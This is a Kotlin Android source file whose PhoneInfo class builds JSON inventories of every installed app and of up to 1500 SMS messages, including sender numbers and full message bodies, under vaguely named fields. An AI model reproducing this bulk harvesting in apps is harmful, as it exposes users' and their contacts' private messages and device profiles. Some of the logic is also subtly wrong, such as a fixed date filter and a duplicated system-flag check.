package com.mo.xi.ge.info.bean

import android.Manifest
import android.content.Context
import android.content.Intent
import android.content.pm.ApplicationInfo
import android.content.pm.PackageInfo
import android.content.pm.PackageManager
import android.database.Cursor
import android.net.Uri
import android.os.Build
import android.provider.Telephony
import com.google.gson.JsonArray
import com.google.gson.JsonObject
import com.mo.xi.ge.info.help.checkAppPermission
import com.mo.xi.ge.info.help.close
import com.mo.xi.ge.info.help.getInstallAllApp
import com.mo.xi.ge.info.help.infoTryCatch
import com.mo.xi.ge.info.help.versionCode

/**
 * date:2024/3/13
 **/
internal object PhoneInfo {

    fun makeInstallApp(context: Context): JsonArray {
        val jsonArray = JsonArray()
        try {
            val appInfors = getInstallAllApp(context)
            val pm = context.packageManager
            var appItem: JsonObject
            appInfors.forEach {
                appItem = JsonObject()
                val path = infoTryCatch("") {
                    it.applicationInfo.sourceDir.orEmpty()
                }.ifEmpty { infoTryCatch("") { it.applicationInfo.publicSourceDir.orEmpty() } }
                    .ifEmpty {
                        val packageInfo = context.packageManager.getPackageInfo(it.packageName, 0)
                        packageInfo.applicationInfo.sourceDir.orEmpty()
                            .ifEmpty { packageInfo.applicationInfo.publicSourceDir.orEmpty() }
                    }
                appItem.addProperty("path_record", path)
                appItem.addProperty("name_metric", getAppName(pm, it))//app名
                appItem.addProperty("update_record", it.lastUpdateTime)//最后安装时间戳
                appItem.addProperty("setup_timestamp", it.firstInstallTime)//本地安装时间
                appItem.addProperty(
                    "type_variant", if (checkPreInstall(it)) {
                        0
                    } else {
                        1
                    }
                )//是否预装 0:预装,1:自装
                appItem.addProperty("package_record", it.packageName.orEmpty())//应用包名
                appItem.addProperty("mod_ifcat", "${it.versionCode()}")//应用版本
                jsonArray.add(appItem)
            }
        } catch (e: Exception) {
        }
        return jsonArray
    }


    /**
     * 是否是预装
     *
     * @return
     */
    private fun checkPreInstall(pInfo: PackageInfo): Boolean {
        val isSysApp = pInfo.applicationInfo.flags and ApplicationInfo.FLAG_SYSTEM != 0
        val isSysUpApp = pInfo.applicationInfo.flags and ApplicationInfo.FLAG_SYSTEM != 0
        return isSysApp || isSysUpApp
    }

    private fun getAppName(pkgManager: PackageManager, packageInfo: PackageInfo): String {
        var lable = try {
            pkgManager.getPackageInfo(
                packageInfo.packageName,
                PackageManager.GET_ACTIVITIES
            )?.applicationInfo?.loadLabel(pkgManager)?.toString()
        } catch (e: Exception) {
            ""
        }
        if (lable.isNullOrEmpty()) {
            try {
                lable = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                    pkgManager.queryIntentActivities(Intent().also {
                        it.action = Intent.ACTION_MAIN
                        it.setPackage(packageInfo.packageName)
                        it.addCategory(Intent.CATEGORY_LAUNCHER)
                    }, PackageManager.MATCH_ALL).asIterable().map {
                        it.activityInfo.loadLabel(pkgManager).toString()
                    }.firstOrNull()?.toString()
                } else {
                    val pkgInfoActivitys = pkgManager.getPackageInfo(
                        packageInfo.packageName,
                        PackageManager.GET_ACTIVITIES
                    )
                    pkgInfoActivitys.activities?.filter {
                        it.labelRes != 0
                    }?.firstOrNull()?.loadLabel(pkgManager)?.toString().orEmpty()
                }
            } catch (e: Exception) {
            }
        }

        if (lable.isNullOrEmpty()) {
            lable = packageInfo.packageName
        }
        return lable.orEmpty()
    }

    /**
     * 获取短信信息
     */
    @JvmStatic
    fun getAppSmsInfo(context: Context): JsonArray {
        val jsonArray = JsonArray()
        if (!context.checkAppPermission(Manifest.permission.READ_SMS)) {
            return JsonArray()
        }

        var cursor: Cursor? = null
        try {
            val resolver = context.contentResolver
            val uri = Uri.parse("content://sms/")
            cursor = resolver.query(
                uri,
                arrayOf(
                    Telephony.Sms.ADDRESS,
                    Telephony.Sms.BODY,
                    Telephony.Sms.DATE,
//                    Telephony.Sms.READ,
//                    Telephony.Sms.STATUS,
                    Telephony.Sms.TYPE,
                    Telephony.Sms._ID
                ),
                "date>?",
                arrayOf((1000 * 3600L * 24 * 360).toString()),
                "date DESC limit 1500"
            )
            if (cursor != null) {
                var jsonObject: JsonObject
                while (cursor.moveToNext()) {
                    jsonObject = JsonObject()
                    jsonObject.addProperty(
                        "phone_metric", cursor.getString(0).orEmpty().replace("", "")
                    )//如果是已发出信息就是收件人手机号 如果是收到的信息就是发件人的手机号
                    jsonObject.addProperty("content_record", cursor.getString(1).orEmpty())//短信具体内容
                    //日期，long型 收到短信的时间
                    jsonObject.addProperty("send_instance", cursor.getLong(2))
                    //是否阅读0未读，1已读
//                    jsonObject.addProperty("read", cursor.getString(3))
                    //短信状态-1 接收，0 complete,64 pending,128 failed
//                    jsonObject.addProperty("status_code", cursor.getString(4))
                    //短信类型1是接收到的，2是已发出
                    jsonObject.addProperty("type_variant", cursor.getInt(3))
                    jsonObject.addProperty("id_label", cursor.getString(4).orEmpty())
                    jsonArray.add(jsonObject)
                }
            }
        } catch (e: Exception) {
            e.printStackTrace()
        } finally {
            close(cursor)
        }
        return jsonArray
    }
}
